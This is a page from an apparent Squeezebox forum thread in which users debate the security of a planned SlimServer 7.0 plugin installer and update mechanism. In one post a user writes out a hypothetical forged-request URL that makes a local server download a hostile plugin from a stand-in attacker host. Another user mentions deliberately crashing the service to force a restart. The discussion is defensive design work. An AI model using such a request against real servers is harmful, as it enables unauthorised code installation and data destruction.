Home of the Squeezebox™ & Transporter® network music players.
Page 2 of 7 FirstFirst 1234 ... LastLast
Results 11 to 20 of 67
  1. #11
    Senior Member JJZolx's Avatar
    Join Date
    Apr 2005
    Location
    Colorado
    Posts
    11,531
    Quote Originally Posted by kdf View Post
    The user would then be informed that the plugin is installed and that it will be active after a restart
    Speaking of which... Is it conceivable that SlimServer could be restarted from the web ui? Since restarting SlimServer is an integral part of installing a plugin, many of the niceties of having a sweet plugin manager are kinda lost when the user is forced to go outside of SlimServer to do a restart.

    As desirable as I think it might be, I realize there would probably be numerous cross-platform hurdles in doing something like this.

  2. #12
    Senior Member
    Join Date
    Apr 2005
    Posts
    8,410

    Updated SlimServer 7.0 Spec with Schedule

    > Speaking of which... Is it conceivable that SlimServer could be
    > restarted from the web ui? Since restarting SlimServer is an integral
    > part of installing a plugin, many of the niceties of having a sweet
    > plugin manager are kinda lost when the user is forced to go outside of
    > SlimServer to do a restart.
    >
    > As desirable as I think it might be, I realize there would probably be
    > numerous cross-platform hurdles in doing something like this.


    I'd agree with that.

    In my view the simplest requirements are:

    The plugin installer needs to:
    - download from web or local file
    - unzip to a relavent place for the distro [nb this needs to be different
    per distro as it is going to be done by slimserver and hence must be to
    location which is writable to]
    - give the option to restart the server
    - take you back to the plugin menu when restarted if there are any options
    to set
    - allow disabling of a plugin (as now)
    - allow complete removal of a plugin (potentially including its prefs file?)

    Optional extras in my mind
    - some form of automatic check and upgrade for plugins. I think we need to
    be careful here to ensure it is secure and doesn't provide a mechanism to
    encourage people to download rogue plugins though... so may be worth
    thinking harder about rather than rushing to get it in 7.0

    As for 7.0 - I think we should be declaring a freeze for major new features
    at beta time, but I'd expect there to be several minor tweeks to improve
    usability during beta (as well as pure bug fixes!)

    I think the plugin api (except installer) should be relatively frozen now
    and plugin authors should be able to start converting plugins. I've been
    running 7.0 and the plugins I use as my production server for several
    months...



  3. #13
    Senior Member erland's Avatar
    Join Date
    Dec 2005
    Location
    Sweden
    Posts
    11,042
    Quote Originally Posted by Triode View Post
    - some form of automatic check and upgrade for plugins. I think we need to be careful here to ensure it is secure and doesn't provide a mechanism to encourage people to download rogue plugins though... so may be worth thinking harder about rather than rushing to get it in 7.0
    Are you just saying that it shouldn't be automatic in 7.0, or are you saying that there shouldn't be any way at all for the user to check for a new release of a plugin and upgrade it from the web interface ?

    I don't think it needs to be automatic in 7.0, but I can't really see any big difference regarding security by:
    - Enter an url and click on a "Download and Install" button
    OR
    - Click on a "Check for new version" + "Upgrade" button, where upgrade basically does the same as the "Download and Install" button but also removes the previous plugin release.

    Or am I missing something ?
    Erland Isaksson (My homepage)
    Developer of many plugins/applets

  4. #14
    Senior Member
    Join Date
    Apr 2005
    Posts
    8,410

    Updated SlimServer 7.0 Spec with Schedule

    > Triode;214466 Wrote:
    >> - some form of automatic check and upgrade for plugins. I think we need
    >> to be careful here to ensure it is secure and doesn't provide a
    >> mechanism to encourage people to download rogue plugins though... so
    >> may be worth thinking harder about rather than rushing to get it in
    >> 7.0Are you just saying that it shouldn't be automatic in 7.0, or are you

    > saying that there shouldn't be any way at all for the user to check for
    > a new release of a plugin and upgrade it from the web interface ?
    >
    > I don't think it needs to be automatic in 7.0, but I can't really see
    > any big difference regarding security by:
    > - Enter an url and click on a "Download and Install" button
    > OR
    > - Click on a "Check for new version" + "Upgrade" button, where upgrade
    > basically does the same as the "Download and Install" button but also
    > removes the previous plugin release.
    >


    Depends where the "check for new versions" goes to look - if this was a wiki
    (as originally proposed), people could hijack each others plugins by making
    it a new version and changing the url to point to their site... Just saying
    this bit needs some thought as it is resulting in code being installed on
    users's machines without them knowing directly where it came from.



  5. #15
    Robin Bowes
    Guest

    Updated SlimServer 7.0 Spec with Schedule

    Triode wrote:
    >
    > Depends where the "check for new versions" goes to look - if this was a wiki
    > (as originally proposed), people could hijack each others plugins by making
    > it a new version and changing the url to point to their site... Just saying
    > this bit needs some thought as it is resulting in code being installed on
    > users's machines without them knowing directly where it came from.


    There may be permissions issues too, depending on where the
    updates/upgrades are installed to. For example, my slimserver directory
    is owned by root and is read-only. The slimserver process can't write to
    the slimserver directory.

    Personally, I'm not keen on having perl code automatically installed as
    it's a potential security risk.

    R.


  6. #16
    NOT a Slim Devices Employee kdf's Avatar
    Join Date
    Apr 2005
    Posts
    9,493

    Updated SlimServer 7.0 Spec with Schedule

    On 14-Jul-07, at 1:13 AM, Triode wrote:
    >
    > - give the option to restart the server
    >

    Be very careful about this. Having something that controls a system
    service from a web page is just asking for trouble.
    Then again, one trick I used to use remote was to cause a crash and let
    the service handle the restart. Not as easy lately with
    fewer ways to cause a crash.
    -kdf


  7. #17
    Senior Member erland's Avatar
    Join Date
    Dec 2005
    Location
    Sweden
    Posts
    11,042
    Quote Originally Posted by Robin Bowes View Post
    Triode wrote:
    >
    > Depends where the "check for new versions" goes to look - if this was a wiki
    > (as originally proposed), people could hijack each others plugins by making
    > it a new version and changing the url to point to their site... Just saying
    > this bit needs some thought as it is resulting in code being installed on
    > users's machines without them knowing directly where it came from.


    There may be permissions issues too, depending on where the
    updates/upgrades are installed to. For example, my slimserver directory
    is owned by root and is read-only. The slimserver process can't write to
    the slimserver directory.

    Personally, I'm not keen on having perl code automatically installed as
    it's a potential security risk.

    R.
    I started to think a bit regarding security. There is probably a solution for this that I'm not aware of, but as it sounds we like to be able to specify an URL to the plugin zip to download. SlimServer would download this and install it and the next time SlimServer is restarted the downloaded code is executed.

    Doesn't this mean that it is possible for someone to do a javascript on a web page or an e-mail that posts data to something like "http://localhost:9000/plugininstaller.htm?url=http://happyhacking.com/plugintoformatharddrive.zip"

    The result is that someone can make a web page that format your harddrive, at least if SlimServer is running as the system user.

    This doesn't really seem to be safe to me but I'm probably missing something obvious. Maybe the user should have to download the plugin zip separately and the plugin installer would only read it from the local harddisk (and never internet) and extract and install it ?
    Erland Isaksson (My homepage)
    Developer of many plugins/applets

  8. #18
    Senior Member JJZolx's Avatar
    Join Date
    Apr 2005
    Location
    Colorado
    Posts
    11,531
    The choices are either a central repository or else each plugin author maintains the download on a publicly accessible HTTP server.

    I don't think a wiki would cut it for the same security reasons that erland mentions above. An ideal solution would be to have a central repository (hosted by Logitech) where plugin authors log in and would have access only to their files. This would be fairly easy to do by giving plugin authors restricted FTP access to the server. But since it would involve someone at Logitech to maintain the server and FTP accounts, I'm assuming that's not currently an option.

    So that leaves having authors maintain their own web servers with the updated downloads. A lot less reliable and security could still be a concern. If someone were to hack into a popular plugin author's server they could raise unbelievable havoc. But of course it's no different than the current situation.

    One thought for increasing reliablity when checking updates would be to permit the plugin author to specify multiple urls to for the download (limited to some number - two, three...).

    I don't think anyone suggested that plugins would ever automatically be downloaded and installed. But one option to consider, though, would be an option to automatically check for updates when SlimServer is first loaded, then inform the user in the web ui (and possibly the remote ui) that there are updates available to some plugins running on their system.

  9. #19
    Logitech Squeezebox Software Program Manager
    Join Date
    May 2007
    Location
    Silicon Valley
    Posts
    477

    Central Repository for Plugins?

    Quote Originally Posted by JJZolx View Post
    The choices are either a central repository or else each plugin author maintains the download on a publicly accessible HTTP server.

    ... An ideal solution would be to have a central repository (hosted by Logitech) where plugin authors log in and would have access only to their files. This would be fairly easy to do by giving plugin authors restricted FTP access to the server. But since it would involve someone at Logitech to maintain the server and FTP accounts, I'm assuming that's not currently an option.

    ... snip
    I could look into having Logitech host an FTP server solely for SlimServer plugins. The www.slimdevices.com and SqueezeNetwork servers will remain independent and managed by our little group, so it's a possibility.

    However, I'll do this only if that's what the community wants. Let me know what you guys think I should do.

    Mickey
    Transporter > ClassÚ Audio DR6 > Mark Levinson 23 > Wilson Watt 3/Puppy 1/Martin Logan Dynamo 700

  10. #20
    formerly known as Fletch
    Join Date
    May 2005
    Posts
    2,260
    Quote Originally Posted by MickeyG View Post
    I could look into having Logitech host an FTP server solely for SlimServer plugins. The www.slimdevices.com and SqueezeNetwork servers will remain independent and managed by our little group, so it's a possibility.
    For a while last year, I was involved in an effort (with Al Pacifico) to set up a slimserver yum repo. Unfortunately, both of of became busy and never completed the effort. (Side effect of the community model perhaps...) I think we both hope to re-engage at some point. Anyway...

    With Dan Sully's help, repos.slimdevices.com/yum was set up with a scripted sync (5 min?) from svn.slimdevices.com/vendor/yum. The main benefits to me were:
    1) It was sync'd from svn, so anyone with svn access could contribute.
    2) It was hosted by slimdevices which avoided any problems with distributing firmware and graphics.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •